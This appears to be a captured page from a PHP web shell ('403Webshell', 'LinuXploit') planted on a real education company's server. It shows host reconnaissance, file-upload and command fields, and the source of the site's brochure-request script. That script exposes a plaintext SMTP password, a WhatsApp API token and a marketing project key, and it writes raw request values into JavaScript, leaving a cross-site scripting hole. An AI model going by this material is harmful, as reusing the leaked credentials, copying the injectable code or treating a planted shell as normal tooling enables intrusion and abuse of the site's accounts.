403Webshell
Server IP : 101.53.144.229  /  Your IP : 216.73.216.181
Web Server : Apache
System : Linux host.gdigitalindia.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : digitalshiksha ( 1179)
PHP Version : 5.6.40
Disable Function : eval,show_source,system,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,show_source,curl_multi_exechellcmd, ini_restore,apache_get_modules,get_cfg_var,passthru, exec ,proc_get_status,fpassthru,c999_buff_prepare,c999_sess_put,c99_buff_prepare,c99_sess_put,proc_close,ini_alter,dl,symlink,link,proc_close,ini_alter,dl,symlink,link,mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/digitalshiksha/public_html/static/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/digitalshiksha/public_html/static/brochuredownload.php
<?php
if (isset($_REQUEST['submit'])) {
  $mail_message = "<b><h2><b>Digital Shiksha</b> Website Request for Brochure</h2></b>";
  $mail_message .="<br/>Name - ".$_REQUEST['name'];
  $mail_message .="<br/>Mobile - ".$_REQUEST['mobile'];

  require_once('class.phpmailer.php');
  $mail = new PHPMailer();
  $mail->IsSMTP(); // enable SMTP
  //$mail->SMTPDebug = 1; // debugging: 1 = errors and messages, 2 = messages only
  $mail->SMTPAuth = true; // authentication enabled
  $mail->SMTPSecure = 'ssl'; // secure transfer enabled REQUIRED for Gmail
  $mail->Host = "mail.gdigitalindia.com";
  $mail->Port = 465; // or 587
  $mail->IsHTML(true);
  $mail->Username = "clients@gdigitalindia.com";
  $mail->Password = "Clients@123??";
  $mail->SetFrom("clients@gdigitalindia.com");
  $mail->Subject = "<b>Digital Shiksha</b> Website Request for Brochure";
  $mail->Body = $mail_message;
  // print_r($mail);die;
  $mail->AddAddress("info@gdigitalindia.com");
  $mail->AddAddress("gdigitalindialeads@gmail.com");

  // print_r($mail);die;

  if (!$mail->Send()) {
    echo "Mailer Error:" . $mail->ErrorInfo;
  }
}
?>

<?php include 'header.php'; ?>

<script type="text/javascript">
    function cronberryTrigger() {
      var username = "<?=$_REQUEST['name']?>" // replace with your field id
      var mobile = "<?=$_REQUEST['mobile']?>" // replace with your field id
      var data = JSON.stringify({
        "projectKey": "VW50aXRsZSBQcm9qZWN0MTY0NjIyNTMzMDkzNg==",
        "audienceId": "cr_" + Date.now(),
        "name": username,
        "email": "",
        "mobile": mobile,
        "ios_fcm_token": "",
        "web_fcm_token": "",
        "android_fcm_token": "",
        "profile_path": "",
        "active": "",
        "audience_id": "",
        "paramList": [{
            "paramKey": "agentnumber",
            "paramValue": ""
          },
          {
            "paramKey": "recording",
            "paramValue": ""
          },
          {
            "paramKey": "datetime",
            "paramValue": ""
          },
          {
            "paramKey": "uniqueid",
            "paramValue": ""
          },
          {
            "paramKey": "city",
            "paramValue": ""
          },
          {
            "paramKey": "patient_age",
            "paramValue": ""
          },
          {
            "paramKey": "query",
            "paramValue": ""
          },
          {
            "paramKey": "treatment_type",
            "paramValue": ""
          },
          {
            "paramKey": "relation",
            "paramValue": ""
          },
          {
            "paramKey": "already_using_machine",
            "paramValue": ""
          },
          {
            "paramKey": "form_name",
            "paramValue": ""
          },
          {
            "paramKey": "yourmessage",
            "paramValue": ""
          },
          {
            "paramKey": "company_name",
            "paramValue": ""
          },
          {
            "paramKey": "websitename",
            "paramValue": "digital-shiksha.com"
          },
          {
            "paramKey": "ip_address",
            "paramValue": ""
          },
          {
            "paramKey": "page",
            "paramValue": ""
          },
          {
            "paramKey": "date",
            "paramValue": ""
          },
          {
            "paramKey": "qualification",
            "paramValue": ""
          },
          {
            "paramKey": "product_sold",
            "paramValue": ""
          },
          {
            "paramKey": "ivr_number",
            "paramValue": ""
          },
          {
            "paramKey": "flats",
            "paramValue": ""
          },
          {
            "paramKey": "1_bhk_flats",
            "paramValue": ""
          },
          {
            "paramKey": "2_bhk_flats",
            "paramValue": ""
          },
          {
            "paramKey": "3_bhk_flats",
            "paramValue": ""
          },
          {
            "paramKey": "interested_for_flats",
            "paramValue": true
          },
          {
            "paramKey": "requirement",
            "paramValue": ""
          },
          {
            "paramKey": "address",
            "paramValue": ""
          },
          {
            "paramKey": "file_name",
            "paramValue": ""
          }
        ]
      });
      console.table(data);
      var xhr = new XMLHttpRequest();
      xhr.addEventListener("readystatechange", function() {
        if (this.readyState === 4) {
          console.log(this.responseText);
        }
      });
      xhr.open("POST", "https://register.cronberry.com/api/campaign/register-audience-data");
      xhr.setRequestHeader("Content-Type", "application/json");
      xhr.send(data);
    }
    cronberryTrigger();
</script>

<?php
$test = "+91".$_REQUEST['mobile'];
$apiEndpoint = 'https://backend.api-wa.co/campaign/gdigital%20media%20solutions/api';

// Replace these values with your actual data
$apiKey = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY0ZjU3MjQ2MGU0ZGE0MGI0NjAyYTBmNyIsIm5hbWUiOiJHREkiLCJhcHBOYW1lIjoiQWlTZW5zeSIsImNsaWVudElkIjoiNjRmNTcyNDYwZTRkYTQwYjQ2MDJhMGYyIiwiYWN0aXZlUGxhbiI6Ik5PTkUiLCJpYXQiOjE2OTM4MDcxNzR9.gk8qqbtVUkhhI8Wt8Fy_b52Q47THSHlCufFgSokBeB4';
$campaignName = 'downloadbrochures0';
$destination = "$test";
$userName = $_REQUEST['name'];
$source = 'Website'; // Optional
$mediaUrl = 'https://www.digital-shiksha.com/assets/images/Brochure.pdf';
$mediaFilename = 'Brochure.pdf';
// Prepare the request body
$requestBody = [
    'apiKey' => $apiKey,
    'campaignName' => $campaignName,
    'destination' => $destination,
    'userName' => $userName,
    'source' => $source,
    'media' => [
        'url' => $mediaUrl,
        'filename' => $mediaFilename,
    ],
];

// Convert the array to JSON
$jsonRequestBody = json_encode($requestBody);

// Set up the cURL request
$ch = curl_init($apiEndpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonRequestBody);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    // echo 'Curl error: ' . curl_error($ch);
} else {
    // Decode and print the response
    $decodedResponse = json_decode($response, true);
    // print_r($decodedResponse);
}

// Close cURL resource
curl_close($ch);

?>

<section class="pt-5 pb-1">
<div class="container">            
<div class="thanks">                            
<h2>Thanks for your Request</h2>
<h2>We sent you Brochure on Whatsapp</h2>

<a href="assets/images/Brochure.pdf" target="_blank">
<button type="submit" name="submit" class="btn brochurebtn btn-block">Download Brochure</button></a>

</div>
</div>
</section>


<?php include 'footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit